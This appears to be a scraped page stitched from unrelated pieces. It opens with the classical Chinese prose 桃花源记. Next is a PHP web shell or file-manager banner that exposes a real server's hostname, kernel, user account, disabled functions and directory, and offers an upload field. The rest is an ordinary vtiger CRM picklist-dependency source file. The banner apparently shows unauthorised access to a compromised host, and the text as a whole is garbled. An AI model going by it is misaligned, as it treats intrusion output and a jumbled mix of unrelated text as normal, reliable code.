晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/www/crm/modules/PickList/ |
Upload File : |
<?php
/*+********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*********************************************************************************/
require_once 'include/utils/utils.php';
require_once 'modules/PickList/PickListUtils.php';
class Vtiger_DependencyPicklist {
static function getDependentPicklistFields($module='') {
global $adb;
if(empty($module)) {
$result = $adb->pquery('SELECT DISTINCT sourcefield, targetfield, tabid FROM vtiger_picklist_dependency', array());
} else {
$tabId = getTabid($module);
$result = $adb->pquery('SELECT DISTINCT sourcefield, targetfield, tabid FROM vtiger_picklist_dependency WHERE tabid=?', array($tabId));
}
$noofrows = $adb->num_rows($result);
$dependentPicklists = array();
if($noofrows > 0) {
$fieldlist = array();
for($i=0; $i<$noofrows; ++$i) {
$fieldTabId = $adb->query_result($result,$i,'tabid');
$sourceField = $adb->query_result($result,$i,'sourcefield');
$targetField = $adb->query_result($result,$i,'targetfield');
if(getFieldid($fieldTabId, $sourceField) == false || getFieldid($fieldTabId, $targetField) == false) {
continue;
}
$fieldResult = $adb->pquery('SELECT fieldlabel FROM vtiger_field WHERE fieldname = ? AND tabid = ?', array($sourceField, $fieldTabId));
$sourceFieldLabel = $adb->query_result($fieldResult,0,'fieldlabel');
$fieldResult = $adb->pquery('SELECT fieldlabel FROM vtiger_field WHERE fieldname = ? AND tabid = ?', array($targetField, $fieldTabId));
$targetFieldLabel = $adb->query_result($fieldResult,0,'fieldlabel');
$dependentPicklists[] = array('sourcefield'=>$sourceField, 'sourcefieldlabel'=>$sourceFieldLabel,
'targetfield'=>$targetField, 'targetfieldlabel'=>$targetFieldLabel,
'module'=>getTabModuleName($fieldTabId));
}
}
return $dependentPicklists;
}
static function getAvailablePicklists($module) {
global $adb, $log;
$tabId = getTabid($module);
$query="select vtiger_field.fieldlabel,vtiger_field.fieldname" .
" FROM vtiger_field inner join vtiger_picklist on vtiger_field.fieldname = vtiger_picklist.name" .
" where displaytype=1 and vtiger_field.tabid=? and vtiger_field.uitype in ('15','16') " .
" and vtiger_field.presence in (0,2) ORDER BY vtiger_picklist.picklistid ASC";
$result = $adb->pquery($query, array($tabId));
$noofrows = $adb->num_rows($result);
$fieldlist = array();
if($noofrows > 0) {
for($i=0; $i<$noofrows; ++$i) {
$fieldlist[$adb->query_result($result,$i,"fieldname")] = $adb->query_result($result,$i,"fieldlabel");
}
}
return $fieldlist;
}
static function savePickListDependencies($module, $dependencyMap) {
global $adb;
$tabId = getTabid($module);
$sourceField = $dependencyMap['sourcefield'];
$targetField = $dependencyMap['targetfield'];
$valueMapping = $dependencyMap['valuemapping'];
for($i=0; $i<count($valueMapping); ++$i) {
$mapping = $valueMapping[$i];
$sourceValue = $mapping['sourcevalue'];
$targetValues = $mapping['targetvalues'];
$serializedTargetValues = Zend_Json::encode($targetValues);
$optionalsourcefield = $mapping['optionalsourcefield'];
$optionalsourcevalues = $mapping['optionalsourcevalues'];
if(!empty($optionalsourcefield)) {
$criteria = array();
$criteria["fieldname"] = $optionalsourcefield;
$criteria["fieldvalues"] = $optionalsourcevalues;
$serializedCriteria = Zend_Json::encode($criteria);
} else {
$serializedCriteria = null;
}
//to handle Accent Sensitive search in MySql
//reference Links http://dev.mysql.com/doc/refman/5.0/en/charset-convert.html , http://stackoverflow.com/questions/500826/how-to-conduct-an-accent-sensitive-search-in-mysql
$checkForExistenceResult = $adb->pquery("SELECT id FROM vtiger_picklist_dependency WHERE tabid=? AND sourcefield=? AND targetfield=? AND sourcevalue=CAST(? AS CHAR CHARACTER SET utf8) COLLATE utf8_bin",
array($tabId, $sourceField, $targetField, $sourceValue));
if($adb->num_rows($checkForExistenceResult) > 0) {
$dependencyId = $adb->query_result($checkForExistenceResult, 0, 'id');
$adb->pquery("UPDATE vtiger_picklist_dependency SET targetvalues=?, criteria=? WHERE id=?",
array($serializedTargetValues, $serializedCriteria, $dependencyId));
} else {
$adb->pquery("INSERT INTO vtiger_picklist_dependency (id, tabid, sourcefield, targetfield, sourcevalue, targetvalues, criteria)
VALUES (?,?,?,?,?,?,?)",
array($adb->getUniqueID('vtiger_picklist_dependency'), $tabId, $sourceField, $targetField, $sourceValue,
$serializedTargetValues, $serializedCriteria));
}
}
}
static function deletePickListDependencies($module, $sourceField, $targetField) {
global $adb;
$tabId = getTabid($module);
$adb->pquery("DELETE FROM vtiger_picklist_dependency WHERE tabid=? AND sourcefield=? AND targetfield=?",
array($tabId, $sourceField, $targetField));
}
static function getPickListDependency($module, $sourceField, $targetField) {
global $adb;
$tabId = getTabid($module);
$dependencyMap = array();
$dependencyMap['sourcefield'] = $sourceField;
$dependencyMap['targetfield'] = $targetField;
$result = $adb->pquery('SELECT sourcevalue,targetvalues FROM vtiger_picklist_dependency WHERE tabid=? AND sourcefield=? AND targetfield=?',
array($tabId,$sourceField,$targetField));
$noOfMapping = $adb->num_rows($result);
$valueMapping = array();
$mappedSourceValues = array();
for($i=0; $i<$noOfMapping; ++$i) {
$sourceValue = $adb->query_result($result, $i, 'sourcevalue');
$targetValues = $adb->query_result($result, $i, 'targetvalues');
$unserializedTargetValues = Zend_Json::decode(decode_html(html_entity_decode($targetValues)));
$mapping = array();
$mapping['sourcevalue'] = $sourceValue;
$mapping['targetvalues'] = $unserializedTargetValues;
$valueMapping[$i] = $mapping ;
}
$dependencyMap['valuemapping'] = $valueMapping;
return $dependencyMap;
}
static function getPicklistDependencyDatasource($module) {
global $adb;
$tabId = getTabid($module);
$picklistDependencyDatasource = array();
$moduleModel = Vtiger_Module_Model::getInstance($module);
$picklistDependencyDatasource = $moduleModel->getCustomPicklistDependency();
$result = $adb->pquery('SELECT sourcefield,targetfield,sourcevalue,targetvalues,criteria FROM vtiger_picklist_dependency WHERE tabid=?', array($tabId));
$noofrows = $adb->num_rows($result);
for($i=0; $i<$noofrows; ++$i) {
$pickArray = array();
$sourceField = $adb->query_result($result, $i, 'sourcefield');
$targetField = $adb->query_result($result, $i, 'targetfield');
$sourceValue = decode_html($adb->query_result($result, $i, 'sourcevalue'));
$targetValues = decode_html($adb->query_result($result, $i, 'targetvalues'));
$unserializedTargetValues = Zend_Json::decode(html_entity_decode($targetValues));
$criteria = decode_html($adb->query_result($result, $i, 'criteria'));
$unserializedCriteria = Zend_Json::decode(html_entity_decode($criteria));
if(!empty($unserializedCriteria) && $unserializedCriteria['fieldname'] != null) {
$conditionValue = array(
"condition" => array($unserializedCriteria['fieldname'] => $unserializedCriteria['fieldvalues']),
"values" => $unserializedTargetValues
);
$picklistDependencyDatasource[$sourceField][$sourceValue][$targetField][] = $conditionValue;
} else {
$picklistDependencyDatasource[$sourceField][$sourceValue][$targetField] = $unserializedTargetValues;
}
if(empty($picklistDependencyDatasource[$sourceField]['__DEFAULT__'][$targetField])) {
foreach(getAllPicklistValues($targetField) as $picklistValue) {
$pickArray[] = decode_html($picklistValue);
}
$picklistDependencyDatasource[$sourceField]['__DEFAULT__'][$targetField] = $pickArray;
}
}
return $picklistDependencyDatasource;
}
static function getJSPicklistDependencyDatasource($module) {
$picklistDependencyDatasource = Vtiger_DependencyPicklist::getPicklistDependencyDatasource($module);
return Zend_Json::encode($picklistDependencyDatasource);
}
static function checkCyclicDependency($module, $sourceField, $targetField) {
$adb = PearDatabase::getInstance();
// If another parent field exists for the same target field - 2 parent fields should not be allowed for a target field
$result = $adb->pquery('SELECT 1 FROM vtiger_picklist_dependency
WHERE tabid = ? AND targetfield = ? AND sourcefield != ?',
array(getTabid($module), $targetField, $sourceField));
if($adb->num_rows($result) > 0) {
return true;
}
//TODO - Add required check for cyclic dependency
return false;
}
static function getDependentPickListModules() {
$adb = PearDatabase::getInstance();
$query = 'SELECT distinct vtiger_field.tabid, vtiger_tab.tablabel, vtiger_tab.name as tabname FROM vtiger_field
INNER JOIN vtiger_tab ON vtiger_tab.tabid = vtiger_field.tabid
INNER JOIN vtiger_picklist ON vtiger_picklist.name = vtiger_field.fieldname
WHERE uitype IN (15,16)
AND vtiger_field.tabid != 29
AND vtiger_field.displaytype = 1
AND vtiger_field.presence in (0,2)
GROUP BY vtiger_field.tabid HAVING count(*) > 1';
// END
$result = $adb->pquery($query, array());
while($row = $adb->fetch_array($result)) {
$modules[$row['tablabel']] = $row['tabname'];
}
ksort($modules);
return $modules;
}
static function getPicklistSourceField($module, $sourceField, $targetField) {
$adb = PearDatabase::getInstance();
// If another parent field exists for the same target field - 2 parent fields should not be allowed for a target field
$result = $adb->pquery('SELECT sourcefield FROM vtiger_picklist_dependency
WHERE tabid = ? AND targetfield = ? AND sourcefield != ?',
array(getTabid($module), $targetField, $sourceField));
if($adb->num_rows($result) > 0) {
return $adb->query_result($result, 0, 'sourcefield');
}
}
}
?>